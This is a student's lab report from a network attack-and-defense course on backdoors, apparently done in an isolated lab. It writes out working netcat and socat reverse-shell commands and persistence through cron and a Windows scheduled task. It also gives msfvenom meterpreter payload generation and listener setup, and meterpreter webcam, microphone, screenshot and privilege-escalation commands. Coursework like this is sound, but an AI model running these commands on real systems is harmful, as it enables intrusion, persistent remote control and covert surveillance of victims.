20165101刘天野 2018-2019-2《网络对抗技术》Exp2 后门原理与实践
1. 实验内容
1.1 使用netcat获取主机操作Shell,cron启动
首先安装netcat(又名nc、ncat),Linux系统自带nc,无需安装。Windows下需自行下载。官网如下:
http://netcat.sourceforge.net/
官网下载速度不佳,亦可在老师的码云上下载。
1.1.1 Windows获得Linux Shell
使用ipconfig
命令,查看Windows的ip地址为172.30.4.204
。
使用ifconfig
命令,查看Linux的ip地址为192.168.159.131
。
定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe -l -p 8086
,表示监听主机的8086号端口
,此处致敬8086架构40周年。
打开Linux终端,输入nc 172.30.4.204 8086 -e /bin/sh
命令,表示连接到ip地址为172.30.4.204
的主机的8086端口上,并把/bin/sh
程序送给目的主机执行。
此时,Windows已经拿到了Linux的shell,并可以随意执行命令。
1.1.2 Linux获得Win Shell
打开Linux终端,输入nc -l -p 8086
命令。
定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe 192.168.159.131 8086 -e cmd.exe
,表示连接到ip地址为192.168.159.131
的主机的8086端口上,并把cmd.exe
程序送给目的主机执行
此时,Linux已经拿到了Windows的shell,并可以随意执行命令。
1.1.3 使用Linux定时任务cron,让Windows定时获得Linux的shell
关于cron的学习可以参考这篇博客——Linux 定时任务crontab_014。
我们执行crontab -e
命令,编辑定时任务。按照提示选择2。
添加14 * * * * nc 172.30.4.204 8086 -e /bin/sh
。
ps:代表在每小时14分的时候执行nc 172.30.4.204 8086 -e /bin/sh
命令。
执行crontab -l
命令查看我们新添加的任务。
Windows下开启监听,18:14到,这是Windows已经收到了Linux的Shell,执行date
命令可以查看当前时间。
1.2 使用socat获取主机操作Shell, 任务计划启动
同netcat,可以在老师的码云上获得安装包。
首先为Windows添加计划任务,在Windows管理工具
中找到任务计划程序
。
点击新建任务按钮
新建触发器,将开始任务设置为工作站锁定时
新建操作,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5101 exec:cmd.exe,pty,stderr
表示把cmd.exe绑定到端口5101,同时把cmd.exe的stderr重定向到stdout上。
在常规选项卡中,输入名称(学号),点击确定完成任务创建。
找到刚刚创建的20165101任务,右键点击运行,此时会弹出命令提示符表明成功运行。
在Kali中输入socat - tcp:172.30.4.204:5101命令,可以成功得到一个cmd shell。
1.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
msfvenom命令介绍
参数说明(options):
-p, --payload <payload> 使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。
--payload-options 攻击负荷(payload)标准参数(options)列表。
-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。
-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。
-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)
--help-formats 变量格式列表
-e, --encoder <encoder> 使用的编码(encoder)
-a, --arch <arch> 使用的结构(architecture)
--paltform <paltform> 攻击负荷的平台(platform)
--help-paltform 变量平台的列表信息
-s,--space <length> 产生有效负荷的最大长度
--encoder-space <length> 编码的有效负荷的最大长度(默认是使用-s 的值)
-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’
-i,--iterations <count> 对负荷进行编码的次数。
-c,--add-code <path> 指定一个详细win32 shellcode文件给include
-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)
-k,--keep 保留模板行为并且把负荷作为一个新的线程注入
-o,--out <path> 保存攻击负荷(payload)
-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式
--smallest 生成最小可用攻击负荷
-h,--help 显示msfvenom使用信息
关于msfvenom的使用实例可以看这篇博文
首先我们应该将攻击机和靶机放置在同一个网段下,否则将无法建立连接。我们在Kali中输入leafpad /etc/network/interfaces
命令。
在文件末尾添加以下内容即可:
auto eth0
iface eth0 inet static
address 172.30.4.205
netmask 255.255.248.0
gateway 172.30.7.254
PS:IP地址,子网掩码,网关要和靶机相匹配。
输入/etc/init.d/networking restart
重启网络即可
这里我们首先执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.4.205 LPORT=5101 -f exe > 20165101_backdoor.exe
命令生成一个后门文件。
我们用ncat将后门文件传送到靶机
Windows端输入ncat.exe -l -p 8086 > 20165101_backdoor.exe
命令
在Kali中输入nc 172.30.4.204 8086 < 20165101_backdoor.exe
命令
如此可以完成程序的传送
在Kali中输入msfconsole
命令
依次输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.30.4.205 //此处应为Linux的IP
set LPORT 5101 //5101为端口号
show options
exploit //开启监听
Windows靶机打开后门文件
现在Kali已经可以控制Windows了,输入shell
命令即可获得Windows的Shell。
1.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取靶机的屏幕截图:srceenshot
使用靶机的摄像头拍照:webcam_snap
使用摄像头录像:webcam_stream
录音:record_mic
提权:getsystem
,未成功。
生成文件如下
1.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2. 基础问题回答
2.1 例举你能想到的一个后门进入到你系统中的可能方式?
1.利用浏览器漏洞,在访问挂马网站时,后门会自动下载并执行。
2.在使用外挂、破解工具时和软件进行捆绑。
2.2 例举你知道的后门如何启动起来(win及linux)的方式?
1.后门程序修改注册表,以达到开机自启动的目的。
2.与正常程序进行捆绑启动。
3.Windows可以修改任务计划程序。
4.Linux利用cron定时启动。
5.后门程序修改注册表,将文件关联程序修改为自己的程序,(如:双击.txt文件时,系统错误的调用后门程序)。
2.3 Meterpreter有哪些给你映像深刻的功能?
1.零件化的功能组件,后门程序可以自己定制。
2.可以打开靶机的摄像头、麦克风等设备。
3.可以获得靶机的Shell。
2.4 如何发现自己有系统有没有被安装后门?
1.监控主机的端口,有没有异常打开的端口。
2.安装杀毒软件、防火墙,监控自己的主机。
3. 实验总结与体会
本次实验通过实现一个简单的后门程序,让我感受到了后门程序极强的危害性。经过免杀处理,后门程序可以躲过大多数杀毒软件的查杀,如果一个人拥有一个公网IP,将后门程序安装到靶机,那么就可以进行远程控制靶机,而且这个过程可以很隐蔽,所以如何防范这类事情的发生也是值得思考的一件事情。我会利用自己的所学,防止这些事件在我自己和周围人身上发生。